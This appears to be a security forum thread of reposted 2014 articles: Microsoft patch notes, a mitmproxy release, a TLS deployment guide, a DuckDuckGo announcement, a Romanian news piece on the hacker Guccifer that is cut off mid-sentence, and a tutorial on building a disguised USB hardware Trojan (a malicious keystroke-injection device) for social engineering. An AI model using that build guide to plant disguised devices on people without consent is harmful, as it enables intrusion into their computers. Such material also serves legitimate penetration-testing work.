Nytro

[h=1]Microsoft patches Windows, IE; holds back two updates[/h] Summary: The most serious vulnerability could allow an attacker to gain control of a Windows Server just by sending packets. For undisclosed reasons, Microsoft withheld two updates scheduled for release. By Larry Seltzer for Zero Day | November 11, 2014 -- 19:04 GMT (11:04 PST) Microsoft today released 14 security updates to address 33 vulnerabilities in Windows, Internet Explorer and Office. Two updates scheduled for release today (MS14-068 and MS14-075) were withheld and their release date is yet to be determined. The most severe of the vulnerabilities may be MS14-066 which could allow remote, unauthenticated compromise of Windows servers. Two of the vulnerabilities are being exploited in the wild. For one of them, Microsoft had previously released a "Fix it" to block the known attacks. MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) — Two vulnerabilities could allow system exploit through an OLE client such as PowerPoint. One is being exploited in the wild and the one for which Microsoft provided a Fix it. That Fix it only addresses specific attacks, whereas this update fixes the underlying vulnerability. See the Microsoft KB page for a link to remove the Fix it. MS14-065: Cumulative Security Update for Internet Explorer (3003057) — This update fixes 17 vulnerabilities in Internet Explorer. Many are rated critical and all versions of IE are affected. Internet Explorer 11, the most current version, has six vulnerabilities rated critical. Microsoft also says that working exploit code is possible for nearly all of the 17. MS14-066: Vulnerability in Schannel Could Allow Remote Code Execution (2992611) — This is a highly-severe vulnerability which could allow an attacker to execute code on a Windows Server in a highly-privileged context just by sending specially-crafted packets to it. Microsoft lists no mitigating factors. MS14-067: Vulnerability in XML Core Services Could Allow Remote Code Execution (2993958) — A malicious web site could compromise a client through Internet Explorer. MS14-069: Vulnerabilities in Microsoft Office Could Allow Remote Code Execution (3009710) — Word 2007 SP3, the Word Viewer and Office Compatibility Pack Service Pack 3 can all be exploited through specially-crafted files. MS14-070: Vulnerability in TCP/IP Could Allow Elevation of Privilege (2989935) — An attacker can gain elevated privilege through a flaw in the Windows TCP/IP client (IPv4 or IPv6). MS14-071: Vulnerability in Windows Audio Service Could Allow Elevation of Privilege (3005607) — This vulnerability would need to be used along with another in order to be exploited. MS14-072: Vulnerability in .NET Framework Could Allow Elevation of Privilege (3005210) — An attacker could gain elevated privilege by sending specially-crafted data to a client or server that uses .NET Remoting. All versions of Windows are affected. MS14-073: Vulnerability in Microsoft SharePoint Foundation Could Allow Elevation of Privilege (3000431) — An authenticated attacker could run arbitrary script at server privileges on Microsoft SharePoint Foundation 2010 Service Pack 2. MS14-074: Vulnerability in Remote Desktop Protocol Could Allow Security Feature Bypass (3003743) — An RDP (Remote Desktop Protocol) system could be induced not to log events properly, but Microsoft considers working exploit code unlikely. MS14-076: Vulnerability in Internet Information Services (IIS) Could Allow Security Feature Bypass (2982998) — A user could bypass IIS restrictions on users and IP addresses. Microsoft considers working exploit code unlikely. MS14-077: Vulnerability in Active Directory Federation Services Could Allow Information Disclosure (3003381) — If a user leaves a browser open after logging out of an application, another user could reopen the application in the browser immediately after the first user logged off. Microsoft considers a working exploit unlikely. MS14-078: Vulnerability in IME (Japanese) Could Allow Elevation of Privilege (3005210) — Sandbox escape is possible on the IME (Input Method Editor) (Japanese). This attack is being exploited in the wild. MS14-079: Vulnerability in Kernel Mode Driver Could Allow Denial of Service (3002885) — If a user used Windows Explorer to browse a network share that contained a specially-crafted TryeType font, the system could become unresponsive. Users of Microsoft's EMET (Enhanced Mitigation Experience Toolkit), a tool for hardening applications against attack, should upgrade the tool to the new version 5.1 before applying today's Internet Explorer updates. Microsoft has said that the updates cause problems for users of version 5.0 of EMET. The MS14-066 update also includes support for new SSL/TLS cipher suites. The new suites "...all operate in Galois/counter mode (GCM), and two of them offer perfect forward secrecy (PFS) by using DHE key exchange together with RSA authentication." Microsoft also released a new version of Flash Player integrated into Internet Explorer 10 and 11 to address vulnerabilities disclosed today by Adobe. The new version of the Windows Malicious Software Removal Tool (KB890830) removes malware from the Win32/Tofsee and Win32/Zoxpng families, according to a blog from the Microsoft Malware Protection Center. Microsoft also released several non-security updates. Based on prior experience. the links to these will become live through the course of the day Tuesday. Update for Windows 8.1, Windows RT 8.1, Windows 8, and Windows RT (KB2976536); Update for Windows 8, Windows RT, and Windows Server 2012 (KB3000853) Update for Windows 8 and Windows RT (KB3003663) Update for Windows 8.1 and Windows RT 8.1 (KB3003667) Update for Windows 8.1 (KB3003727) Update for Windows 7 (KB3004469) Update for Windows 8.1, Windows Server 2012 R2, Windows 8, Windows Server 2012, Windows 7, Windows Server 2008 R2, and Windows Server 2008 (KB3004908) Update for Windows 8.1 and Windows RT 8.1 (KB3006178) Update for Windows 8.1 for x64-based Systems (KB3006958) Update for Windows 8.1, Windows RT 8.1, and Windows Server 2012 R2 (KB3008188) Update for Windows 8.1, Windows RT 8.1, Windows Server 2012 R2, Windows 8, Windows RT, Windows Server 2012, Windows 7, Windows Server 2008 R2, and Windows Server 2008 (KB3008627) Sursa: Microsoft patches Windows, IE; holds back two updates | ZDNet FACETI UPDATE LA WINDOWS!

[h=1]mitmproxy and pathod 0.11[/h]07 November 2014 I'm happy to announce that we've just released v0.11 of both mitmproxy and pathod. This release features a huge revamp of mitmproxy's internals and a long list of important features. Pathod has much improved SSL support and fuzzing. Our thanks to the many testers and contributors that helped get this out the door. Please lodge bug reports and feature requests here. [h=1]MITMPROXY CHANGELOG[/h] Performance improvements for mitmproxy console SOCKS5 proxy mode allows mitmproxy to act as a SOCKS5 proxy server Data streaming for response bodies exceeding a threshold (bradpeabody@gmail.com) Ignore hosts or IP addresses, forwarding both HTTP and HTTPS traffic untouched Finer-grained control of traffic replay, including options to ignore contents or parameters when matching flows (marcelo.glezer@gmail.com) Pass arguments to inline scripts Configurable size limit on HTTP request and response bodies Per-domain specification of interception certificates and keys (see --cert option) Certificate forwarding, relaying upstream SSL certificates verbatim (see --cert-forward) Search and highlighting for HTTP request and response bodies in mitmproxy console (pedro@worcel.com) Transparent proxy support on Windows Improved error messages and logging Support for FreeBSD in transparent mode, using pf (zbrdge@gmail.com) Content view mode for WBXML (davidshaw835@air-watch.com) Better documentation, with a new section on proxy modes Generic TCP proxy mode Countless bugfixes and other small improvements [h=1]PATHOD CHANGELOG[/h] Hugely improved SSL support, including dynamic generation of certificates using the mitproxy cacert pathoc -S dumps information on the remote SSL certificate chain Big improvements to fuzzing, including random spec selection and memoization to avoid repeating randomly generated patterns Reflected patterns, allowing you to embed a pathod server response specification in a pathoc request, resolving both on client side. This makes fuzzing proxies and other intermediate systems much better. Sursa: cortesi - mitmproxy and pathod 0.11

[h=3]Making a USB flash drive HW Trojan[/h] [h=2]Preface[/h] When I first read Adrian Crenshaw’s [1] and Netragard’s [2] articles about malicious Human Interface Devices (HID) I was really impressed and decided to create my own just to try it out how hard it is to assemble one and see if there's any space for improvements. My first attempt was a USB flash drive-like tool. The main goal was to make it as small and convincingly looking as possible. The result was a device in an enclosure with the dimensions of 8.7mm x 71mm x 23mm, fancy enough to fool someone in a social engineering engagement. Now, the above mentioned articles have a lot of details about malicious HIDs, mostly about how to program them, but they say little about how to MAKE them. So in this blog post, I will give you a step-by-step tutorial how to prepare a USB flash drive HW Trojan (actually, you can use it as a neat, fully functional USB drive as well) using a Teensy 2.0 and Teensy SD Adaptor. I am going to assume that you have at least some basic experience with soldering. If you don't have, take a look at Limor Fried's (a.k.a. ladyada) page about the basics of soldering or Sparkfun's Soldering Basics (takes about 40-30 minutes practicing to learn how to solder through hole components). [h=2]Parts needed[/h] Teensy 2.0 Teensy SD Adaptor (you can use other SD card adaptors too, but the Teensy SD Adaptor is one of the smallest on the market) Micro SD Card (you can use a Micro SDHC Card as well, up to 16 GB) USB A type plug (male) PCB connector (I would NOT recommend using a cable connector, since it's bigger. However, it doesn't matter if you use SMD or Through-hole type, but I prefer the Through-hole type) USB MINI-B type plug (male) Cable connector (I would NOT recommend using a PCB connector, since it's bigger.) Enclosure (I used this one, but it's transparent, so it's is probably better for demonstration purposes and not the best for social engineering. I would recommend using something like this, or you can paint the transparent one to whatever color you want) Wires (I would suggest using at least 6/7 different colors) Anyway, here's a picture of all the parts together, except the wires: [h=2]Tools needed[/h] Solder (for soldering, of course) Soldering iron (yep, this one is also for soldering) Desoldering tool or (De)solder braid (if you are clumsy and make a soldering error, like an unwanted short circuit) Hot glue gun (I used this for the USB A to USB MINI-B converter, but you can use whatever glue/solution you want) Flush/diagonal cutters (for cutting the wires) Third hand with Magnifying Glass (you're gonna need it, otherwise you would have to grow a third hand ) Good light (without this, you won't be able to solder those tiny little wires...) [h=2] STEP 1: Make a small USB A type plug (male) connector to USB MINI-B type plug (male) connector converter[/h] The first thing we need to prepare is a USB connector converter, since the Teensy 2.0 has a USB MINI-B type jack (female) USB connector, but PCs/Laptops usually only have USB A type jack (female) connectors. We need to make one of our own in order to reduce the size of our device. As you will see on the pictures below, the converters you can buy are all nice and shiny, but the one I have made is almost 2/3 of their size. TIPP: Alternatively, you can de-solder the USB MINI connector from the Teensy and connect the pins directly to a USB A type connector, thus making the hole device even smaller (I preferred keeping my Teensy intact for this prototype). First, let's take a look at pinout.ru for the USB pinout and wiring! As you can see, USB has only 4 pins, or 5 in case of USB MINI, but we can ignore this 5th ID pin for now. Now the thing is, that I don't have pictures about soldering the wires one-by-one, but I draw a few figures about the wiring, so the only thing you need to do is connect the pins of the connectors by soldering in the wires according to these instructions. First, let's see the two connectors with the pins! (Sidenote: sorry for the lame pictures... by the time I wrote the post I didn't have any USB connectors with me to make my own photos, so I took something from the Internet. Still, I hope you'll get the general idea from these ones as well.) For the USB A type plug connector, the pins are the following: I like folding the two legs of the metal part on the USB A connector (the ones in the red circles on the picture) to the side, so it's overall height will be the height of the connector, and it will also help keeping the Teensy in one place inside the enclosure (you will see this on the pictures below), or, you can just cut them off. If you buy a USB MINI-B type plug connector, then it's usually comes "unassembled" in three or four parts, but you only need the following two parts (pins are numbered on the "actual" connector part): You should cut off half of the metallic part (along the red doted line), get rid of the part which is marked with a red x on the picture and only keep the part holding the "actual" connector part (marked with a green check mark on the picture). IMPORTANT: The side where I marked the pins is not the one where you will have to solder the wires!!! It's on the other side! Obviously, the order of the pins is the same on the other side as well. (Sorry, but I couldn't find a good picture on the Internet to mark the pins on the side where you actually need to do the soldering. I hope you will be able to figure out this one on your own.) And now, let's see how we should connect them! It's pretty simple, basically you just have to connect each pin of a connector to the same pin of the other connector. I like using red (pin 1), white (pin 2), green (pin 3) and black (pin 4) wires when I work with USB, so I can easily distinguish which wire goes into which pin (the lines on the picture also follow this convention): Make sure that you use as short wires as possible, ideally no longer than 1 cm, so they don't need much space. Soldering can be quite tricky, but keep on trying until you succeed, otherwise it won't fit into the enclosure. Once you have them wired up, you can use for example a hot glue gun to cover the solder joints and protect them from falling apart. Here's a picture from the commercially available and the home-made connector from the "bottom": Same thing, from the "top": Last, but not least, from the side: As you can see, the result is quite small and thin (even though it's a bit ugly, but this is not a beauty contest), so it won't need a lot of valuable space in the enclosure. [h=2] STEP 2: Connecting the Teensy with the Teensy SD adaptor[/h] The next step is to connect the Teensy with the Teensy SD Adaptor. Like I said, you can use a different SD card adapter too, but this one fits nicely on the top of a Teensy, so I will give instructions for this adapter. You can find the technical documentation on the PJRC website for the Teensy SD Adapter. The most important part is the pinout of the adapter (I took the liberty and reused the pictures from the PJRC website): We need to connect the MISO, MOSI, SCLK, SS, Ground and +5V pins. The SW (Switch) pin is not needed for now, but you can solder it too (I did, so you will see that the SW pin is connected on the pictures below). The way you need to connect the Teensy with the Teensy SD Adapter is the following: Note, that according to the above picture the Teensy's top side will face forwards the top side of the Teensy SD Adaptor. Once you place a Micro SD card into the card slot, the Teensy SD Adaptor will fit perfectly between the USB connector of the Teensy and the push button. IMPORTANT: The top side of the Teensy SD Adaptor has the metallic surface of the Micro SD card slot that will be in contact with the top side of the Teensy board. When you plug in the assembled Teensy to a USB port, the microcontroller will get really hot, really soon. This is because the metallic part of the SD card adaptor makes a short circuit on the capacitors on the Teensy's top as you squeeze them together. In order to prevent this from happening, I used a small piece of insulation tape stuck on the metallic part of the Micro SD card slot. The end result from the top should look like this: Notice that the wires on the top are placed next to each other and they don't cross, so they won't increase the height of the final product. Same thing, from one side: From the other side (barely visible, but you can see the small piece of black insulation tape too): [h=2] STEP 3: Putting everything together[/h] The last thing we need to do is connecting the USB A to USB MINI-B converter to the Teensy + Teensy SD Adaptor part and put them into an enclosure. The two parts connected together should look something like this: Putting them into a nice casing: [h=2]Final product[/h] Aaand, that's all! Later, I will make a detailed blog post on how can you program such a device and what evil payloads you can use. There are a few other pictures I have made and some additional resources on malicious HIDs that you can find below. Final product from the "top": Final product from the side: When the device is plugged into a PC: [h=2]Resources[/h] [1] Programmable HID USB Keystroke Dongle: Using the Teensy as a pen testing device Programmable HID USB Keystroke Dongle: Using the Teensy as a pen testing device [2] Netragard’s Hacker Interface Device (HID) http://pentest.snosoft.com/2011/06/24/netragards-hacker-interface-device-hid Posted by Dávid Szili at 10:44:00 AM Sursa: Jump ESP, jump!: Making a USB flash drive HW Trojan

Deploying TLS the hard way October, 27th 2014 How does TLS work? The certificate (Perfect) Forward Secrecy Choosing the right cipher suites HTTP Strict Transport Security HSTS Preload List OCSP Stapling HTTP Public Key Pinning Known attacks Last weekend I finally deployed TLS for timtaubert.de and decided to write up what I learned on the way hoping that it would be useful for anyone doing the same. Instead of only giving you a few buzz words I want to provide background information on how TLS and certain HTTP extensions work and why you should use them or configure TLS in a certain way. One thing that bugged me was that most posts only describe what to do but not necessarily why to do it. I hope you appreciate me going into a little more detail to end up with the bigger picture of what TLS currently is, so that you will be able to make informed decisions when deploying yourselves. To follow this post you will need some basic cryptography knowledge. Whenever you do not know or understand a concept you should probably just head over to Wikipedia and take a few minutes or just do it later and maybe re-read the whole thing. Disclaimer: I am not a security expert or cryptographer but did my best to research this post thoroughly. Please let me know of any mistakes I might have made and I will correct them as soon as possible. But didn’t Andy say this is all shit? I read Andy Wingo’s blog post too and I really liked it. Everything he says in there is true. But what is also true is that TLS with the few add-ons is all we have nowadays and we better make the folks working for the NSA earn their money instead of not trying to encrypt traffic at all. After you finished reading this page, maybe go back to Andy’s post and read it again. You might have a better understanding of what he is ranting about than you had before if the details of TLS are still dark matter to you. So how does TLS work? Every TLS connection starts with both parties sharing their supported TLS versions and cipher suites. As the next step the server sends its X.509 certificate to the browser. Checking the server’s certificate The following certificate checks need to be performed: Does the certificate contain the server’s hostname? Was the certificate issued by a CA that is in my list of trusted CAs? Does the certificate’s signature verify using the CA’s public key? Has the certificate expired already? Was the certificate revoked? All of these are very obvious crucial checks. To query a certificate’s revocation status the browser will use the Online Certificate Status Protocol (OCSP) which I will describe in more detail in a later section. After the certificate checks are done and the browser ensured it is talking to the right host both sides need to agree on secret keys they will use to communicate with each other. Key Exchange using RSA A simple key exchange would be to let the client generate a master secret and encrypt that with the server’s public RSA key given by the certificate. Both client and server would then use that master secret to derive symmetric encryption keys that will be used throughout this TLS session. An attacker could however simply record the handshake and session for later, when breaking the key has become feasible or the machine is suspect to a vulnerability. They may then use the server’s private key to recover the whole conversation. Key Exchange using (EC)DHE When using (Elliptic Curve) Diffie-Hellman as the key exchange mechanism both sides have to collaborate to generate a master secret. They generate DH key pairs (which is a lot cheaper than generating RSA keys) and send their public key to the other party. With the private key and the other party’s public key the shared master secret can be calculated and then again be used to derive session keys. We can provide Forward Secrecy when using ephemeral DH key pairs. See the section below on how to enable it. We could in theory also provide forward secrecy with an RSA key exchange if the server would generate an ephemeral RSA key pair, share its public key and would then wait for the master secret to be sent by the client. As hinted above RSA key generation is very expensive and does not scale in practice. That is why RSA key exchanges are not a practical option for providing forward secrecy. After both sides have agreed on session keys the TLS handshake is done and they can finally start to communicate using symmetric encryption algorithms like AES that are much faster than asymmetric algorithms. The certificate Now that we understand authenticity is an integral part of TLS we know that in order to serve a site via TLS we first need a certificate. The TLS protocol can encrypt traffic between two parties just fine but the certificate provides the necessary authentication towards visitors. Without a certificate a visitor could securely talk to either us, the NSA, or a different attacker but they probably want to talk to us. The certificate ensures by cryptographic means that they established a connection to our server. Selecting a Certificate Authority (CA) If you want a cheap certificate, have no specific needs, and only a single subdomain (e.g. www) then StartSSL is an easy option. Do of course feel free to take a look at different authorities - their services and prices will vary heavily. In the chain of trust the CA plays an important role: by verifying that you are the rightful owner of your domain and signing your certificate it will let browsers trust your certificate. The browsers do not want to do all this verification themselves so they defer it to the CAs. For your certificate you will need an RSA key pair, a public and private key. The public key will be included in your certificate and thus also signed by the CA. Generating an RSA key and a certificate signing request The example below shows how you can use OpenSSL on the command line to generate a key for your domain. Simply replace example.com with the domain of your website. example.com.key will be your new RSA key and example.com.csr will be the Certificate Signing Request that your CA needs to generate your certificate. openssl req -new -newkey rsa:4096 -nodes -sha256 \ -keyout example.com.key -out example.com.csr We will use a SHA-256 based signature for integrity as Firefox and Chrome will phase out support for SHA-1 based certificates soon. The RSA keys used to authenticate your website will use a 4096 bit modulus. If you need to handle a lot of traffic or your server has a weak CPU you might want to use 2048 bit. Never go below that as keys smaller than 2048 bit are considered insecure. Get a signed certificate Sign up with the CA you chose and depending on how they handle this process you probably will have to first verify that you are the rightful owner of the domain that you claim to possess. StartSSL will do that by sending a token to postmaster@example.com (or similar) and then ask you to confirm the receipt of that token. Now that you signed up and are the verified owner of example.com you simply submit the example.com.csr file to request the generation of a certificate for your domain. The CA will sign your public key and the other information contained in the CSR with their private key and you can finally download the certificate to example.com.crt. Upload the .crt and .key files to your web server. Be aware that any intermediate certificate in the CA’s chain must be included in the .crt file as well - you can just cat them together. StartSSL’s free tier has an intermediate Class 1 certificate - make sure to use the SHA-256 version of it. All files should be owned by root and must not be readable by anyone else. Configure your web server to use those and you should probably have TLS running configured out-of-the-box. (Perfect) Forward Secrecy To properly deploy TLS you will want to provide (Perfect) Forward Secrecy. Without forward secrecy TLS still seems to secure your communication today, it might however not if your private key is compromised in the future. If a powerful adversary (think NSA) records all communication between a visitor and your server, they can decrypt all this traffic years later by stealing your private key or going the “legal” way to obtain it. This can be prevented by using short-lived (ephemeral) keys for key exchanges that the server will throw away after a short period. Diffie-Hellman key exchanges Using RSA with your certificate’s private and public keys for key exchanges is off the table as generating a 2048+ bit prime is very expensive. We thus need to switch to ephemeral (Elliptic Curve) Diffie-Hellman cipher suites. For DH you can generate a 2048 bit parameter once, choosing a private key afterwards is cheap. openssl dhparam -out dhparam.pem 2048 Simply upload dhparam.pem to your server and instruct the web server to use it for Diffie-Hellman key exchanges. When using ECDH the predefined elliptic curve represents this parameter and no further action is needed. (Nginx) ssl_dhparam /path/to/ssl/dhparam.pem; Apache does unfortunately not support custom DH parameters, it is always set to 1024 bit and is not user configurable. This might hopefully be fixed in future versions. Session IDs One of the most important mechanisms to improve TLS performance is Session Resumption. In a full handshake the server sends a Session ID as part of the “hello” message. On a subsequent connection the client can use this session ID and pass it to the server when connecting. Because both the server and the client have saved the last session’s “secret state” under the session ID they can simply resume the TLS session where they left off. Now you might notice that this could violate forward secrecy as a compromised server might reveal the secret state for all session IDs if the cache is just large enough. The forward secrecy of a connection is thus bounded by how long the session information is retained on the server. Ideally, your server would use a medium-sized in-memory cache that is purged daily. Apache lets you configure that using the SSLSessionCache directive and you should use the high-performance cyclic buffer shmcd. Nginx has the ssl_session_cache directive and you should use a shared cache that is shared between workers. The right size of those caches would depend on the amount of traffic your server handles. You want browsers to resume TLS sessions but also get rid of old ones about daily. Session Tickets The second mechanism to resume a TLS session are Session Tickets. This extension transmits the server’s secret state to the client, encrypted with a key only known to the server. That ticket key is protecting the TLS connection now and in the future. This might as well violate forward secrecy if the key used to encrypt session tickets is compromised. The ticket (just as the session cache) contains all of the server’s secret state and would allow an attacker to reveal the whole conversation. Nginx and Apache by default generate a session ticket key at startup and do unfortunately provide no way to rotate it. If your server is running for months without a restart then you will use that same session ticket key for months and breaking into your server could reveal every recorded TLS conversation since the web server was started. Neither Nginx nor Apache have a sane way to work around this, Nginx might be able to rotate the key by reloading the server config which is rather easy to implement with a cron job. Make sure to test that this actually works before relying on it though. Thus if you really want to provide forward secrecy you should disable session tickets using ssl_session_tickets off for Nginx and SSLOpenSSLConfCmd Options -SessionTicket for Apache. Choosing the right cipher suites Mozilla’s guide on server side TLS provides a great list of modern cipher suites that needs to be put in your web server’s configuration. The combinations below are unfortunately supported by only modern browsers, for broader client support you might want to consider using the “intermediate” list. ECDHE-RSA-AES128-GCM-SHA256: \ ECDHE-ECDSA-AES128-GCM-SHA256: \ ECDHE-RSA-AES256-GCM-SHA384: \ ECDHE-ECDSA-AES256-GCM-SHA384: \ DHE-RSA-AES128-GCM-SHA256: \ DHE-DSS-AES128-GCM-SHA256: \ [...] !aNULL:!eNULL:!EXPORT:!DES:!RC4:!3DES:!MD5:!PSK All these cipher suites start with (EC)DHE which means they only support ephemeral Diffie-Hellman key exchanges for forward secrecy. The last line discards non-authenticated key exchanges, null-encryption (cleartext), legacy weak ciphers marked exportable by US law, weak ciphers (3)DES and RC4, weak MD5 signatures, and pre-shared keys. Note: To ensure that the order of cipher suites is respected you need to set ssl_prefer_server_ciphers on for Nginx or SSLHonorCipherOrder on for Apache. HTTP Strict Transport Security (HSTS) Now that your server is configured to accept TLS connections you still want to support HTTP connections on port 80 to redirect old links and folks typing example.com in the URL bar to your shiny new HTTPS site. At this point however a Man-In-The-Middle (or Woman-In-The-Middle) attack can easily intercept and modify traffic to deliver a forged HTTP version of your site to a visitor. The poor visitor might never know because they did not realize you offer TLS connections now. To ensure your users are secured when visiting your site the next time you want to send a HSTS header to enforce strict transport security. By sending this header the browser will not try to establish a HTTP connection next time but directly connect to your website via TLS. Strict-Transport-Security: max-age=15768000; includeSubDomains; preload Sending these headers over a HTTPS connection (they will be ignored via HTTP) lets the browser remember that this domain wants strict transport security for the next six months (~15768000 seconds). The includeSubDomains token enforces TLS connections for every subdomain of your domain and the non-standard preload token will be required for the next section. HSTS Preload List If after deploying TLS the very first connection of a visitor is genuine we are fine. Your server will send the HSTS header over TLS and the visitor’s browser remembers to use TLS in the future. The very first connection and every connection after the HSTS header expires however are still vulnerable to a {M,W}ITM attack. To prevent this Firefox and Chrome share a HSTS Preload List that basically includes HSTS headers for all sites that would send that header when visiting anyway. So before connecting to a host Firefox and Chrome check whether that domain is in the list and if so would not even try using an insecure HTTP connection. Including your page in that list is easy, just submit your domain using the HSTS Preload List submission form. Your HSTS header must be set up correctly and contain the includeSubDomains and preload tokens to be accepted. OCSP Stapling OCSP - using an external server provided by the CA to check whether the certificate given by the server was revoked - might sound like a great idea at first. On the second thought it actually sounds rather terrible. First, the CA providing the OCSP server suddenly has to be able to handle a lot of requests: every client opening a connection to your server will want to know whether your certificate was revoked before talking to you. Second, the browser contacting a CA and passing the certificate is an easy way to monitor a user’s browsing behavior. If all CAs worked together they probably could come up with a nice data set of TLS sites that people visit, when and in what order (not that I know of any plans they actually wanted to do that). Let the server do the work for your visitors OCSP Stapling is a TLS extension that enables the server to query its certificate’s revocation status at regular intervals in the background and send an OCSP response with the TLS handshake. The stapled response itself cannot be faked as it needs to be signed with the CA’s private key. Enabling OCSP stapling thus improves performance and privacy for your visitors immediately. You need to create a certificate file that contains your CA’s root certificate prepended by any intermediate certificates that might be in your CA’s chain. StartSSL has an intermediate certificate for Class 1 (the free tier) - make sure to use the one having the SHA-256 signature. Pass the file to Nginx using the ssl_trusted_certificate directive and to Apache using the SSLCACertificateFile directive. OCSP Must Staple OCSP however is unfortunately not a silver bullet. If a browser does not know in advance it will receive a stapled response then the attacker might as well redirect HTTPS traffic to their server and block any traffic to the OCSP server (in which case browsers soft-fail). Adam Langley explains all possible attack vectors in great detail. One solution might be the proposed OCSP Must Staple Extension. This would add another field to the certificate issued by the CA that says a server must provide a stapled OCSP response. The problem here is that the proposal expired and in practice it would take years for CAs to support that. Another solution would be to implement a header similar to HSTS, that lets the browser remember to require a stapled OCSP response when connecting next time. This however has the same problems on first connection just like HSTS, and we might have to maintain a “OCSP-Must-Staple Preload List”. As of today there is unfortunately no immediate solution in sight. HTTP Public Key Pinning (HPKP) Even with all those security checks when receiving the server’s certificate we would still be completely out of luck in case your CA’s private key is compromised or your CA simply fucks up. We can prevent these kinds of attacks with an HTTP extension called Public Key Pinning. Key pinning is a trust-on-first-use (TOFU) mechanism. The first time a browser connects to a host it lacks the the information necessary to perform “pin validation” so it will not be able to detect and thwart a {M,W}ITM attack. This feature only allows detection of these kinds of attacks after the first connection. Generating a HPKP header Creating an HPKP header is easy, all you need to do is to compute the base64-encoded “SPKI fingerprint” of your server’s certificate. An SPKI fingerprint is the output of applying SHA-256 to the public key information contained in your certificate. openssl req -inform pem -pubkey -noout < example.com.csr | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | base64 The result of running the above command can be directly used as the pin-sha256 values for the Public-Key-Pins header as shown below: Public-Key-Pins: pin-sha256="GRAH5Ex+kB4cCQi5gMU82urf+6kEgbVtzfCSkw55AGk="; pin-sha256="lERGk61FITjzyKHcJ89xpc6aDwtRkOPAU0jdnUqzW2s="; max-age=15768000; includeSubDomains Upon receiving this header the browser knows that it has to store the pins given by the header and discard any certificates whose SPKI fingerprints do not match for the next six months (max-age=15768000). We specified the includeSubDomains token so the browser will verify pins when connecting to any subdomain. Include the pin of a backup key It is considered good practice to include at least a second pin, the SPKI fingerprint of a backup RSA key that you can generate exactly as the original one: openssl req -new -newkey rsa:4096 -nodes -sha256 \ -keyout example.com.backup.key -out example.com.backup.csr In case your private key is compromised you might need to revoke your current certificate and request the CA to issue a new one. The old pin however would still be stored in browsers for six months which means they would not be able to connect to your site. By sending two pin-sha256 values the browser will later accept a TLS connection when any of the stored fingerprints match the given certificate. Known attacks In the past years (and especially the last year) a few attacks on SSL/TLS were published. Some of those attacks can be worked around on the protocol or crypto library level so that you basically do not have to worry as long as your web server is up to date and the visitor is using a modern browser. A few attacks however need to be thwarted by configuring your server properly. BEAST (Browser Exploit Against SSL/TLS) BEAST is an attack that only affects TLSv1.0. Exploiting this vulnerability is possible but rather difficult. You can either disable TLSv1.0 completely - which is certainly the preferred solution although you might neglect folks with old browsers on old operating systems - or you can just not worry. All major browsers have implemented workarounds so that it should not be an issue anymore in practice. BREACH (Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext) BREACH is a security exploit against HTTPS when using HTTP compression. BREACH is based on CRIME but unlike CRIME - which can be successfully defended by turning off TLS compression (which is the default for Nginx and Apache nowadays) - BREACH can only be prevented by turning off HTTP compression. Another method to mitigate this would be to use cross-site request forgery (CSRF) protection or disable HTTP compression selectively based on headers sent by the application. POODLE (Padding Oracle On Downgraded Legacy Encryption) POODLE is yet another padding oracle attack on TLS. Luckily it only affects the predecessor of TLS which is SSLv3. The only solution when deploying a new server is to just disable SSLv3 completely. Fortunately, we already excluded SSLv3 in our list of preferred ciphers previously. Firefox 34 will ship with SSLv3 disabled by default, Chrome and others will hopefully follow soon. Further reading Thanks for reading and I am really glad you made it that far! I hope this post did not discourage you from deploying TLS - after all getting your setup right is the most important thing. And it certainly is better to to know what you are getting yourselves into than leaving your visitors unprotected. If you want to read even more about setting up TLS, the Mozilla Wiki page on Server-Side TLS has more information and proposed web server configurations. Thanks a lot to Frederik Braun for taking the time to proof-read this post and helping to clarify a few things! Sursa: https://timtaubert.de/blog/2014/10/deploying-tls-the-hard-way/

[h=2]DuckDuckGo in Firefox[/h]9 hours and 6 minutes ago posted by yegg Staff We're excited to announce that DuckDuckGo is now included as a pre-installed search option in Firefox! Today is Firefox's 10th anniversary and with it comes a special release that includes DuckDuckGo. The DuckDuckGo and Firefox communities have always had a shared interest in privacy so we're very proud to be included and can't wait to see what we can accomplish! To use DuckDuckGo in Firefox, simply download the latest version and select us from the search dropdown: Sursa: https://duck.co/blog/firefox

„Micul Fum“ ?i marele noroc. Cum a reu?it Guccifer s? sparg? contul Corinei Cre?u ?i s? bage spaima în familia Bush 11 noiembrie 2014, 16:12 de Octavian Palade Hackerul român Guccifer a devenit cunoscut dup? ce b?gat spaima în mai multe vedete ?i nume din politica româneasc? ?i interna?ional?. Acum, el se afl? în spatele gratiilor, unde a fost intervievat de reporterii „New York Times“. Într-un articol intitulat „Pentru Guccifer, s? fie hacker a fost u?or. S? fie pu?c?ria? este greu.”, Marcel-Lehel Laz?r, omul din spatele pseudonimului Guccifer, ?i-a spus povestea. Acesta a fost prins pe 22 ianuarie, anul acesta, dup? ce, timp de doi ani, a reu?it s? îi p?c?leasc? pe agen?ii FBI. „Îi a?teptam, dar ?ocul a fost foarte mare pentru mine. E greu s? fii hacker, dar e ?i mai greu s?-?i acoperi toate urmele“, a declarat Guccifer, pentru „New York Times“, din penintenciarul Arad. Acesta trebuie s? isp??easc? o sentin?? de ?apte ani. Înainte s? devin? Guccifer, nume care vine de la „stilul lui Gucci ?i lumina lui Lucifer“, Marcel a fost taximetrist. B?rbatul de 47 de ani era ?omer de câ?iva ani ?i nu avea cuno?tin?e tehnice ?i nici echipamente sofisticate. Din spatele unui computer obosit, Marcel a înv??at rapid o îndeletnicire nou?. În multe feluri, acesta a ar?tat tuturor cât de u?or po?i fi infractor pe Internet ?i cum po?i sta cu un pas în fa?a oamenilor legii dac? ai ni?te cuno?tin?e rudimentare. „Nu era cu adev?rat un hacker, ci doar un tip foarte de?tept, foarte r?bd?tor ?i foarte persistent“, a declarat Viorel Badea, procurorul care s-a ocupat de caz. Guccifer este cunoscut pentru faptul c? a f?cut publice o serie de auto-portrete realizate de fostul pre?edinte american George W. Bush, c? a ar?tat tuturor „flirturile“ dintre Corina Cre?u, membr? a Parlamentului European, ?i Colin Powel, dar ?i c? a ob?inut numeroase fotografii ?i mesaje private ale unor vedete na?ionale ?i interna?ionale. „Este vorba doar despre un român s?rac care voia s? fie faimos“, a mai declarat Badea. Laz?r a reu?it s? sparg? toate conturile ghicind parolele fiec?rei persoane vizate. În loc s? foloseasc? viru?i sofistica?i sau alte unelte specifice infractorilor cibernetici, el 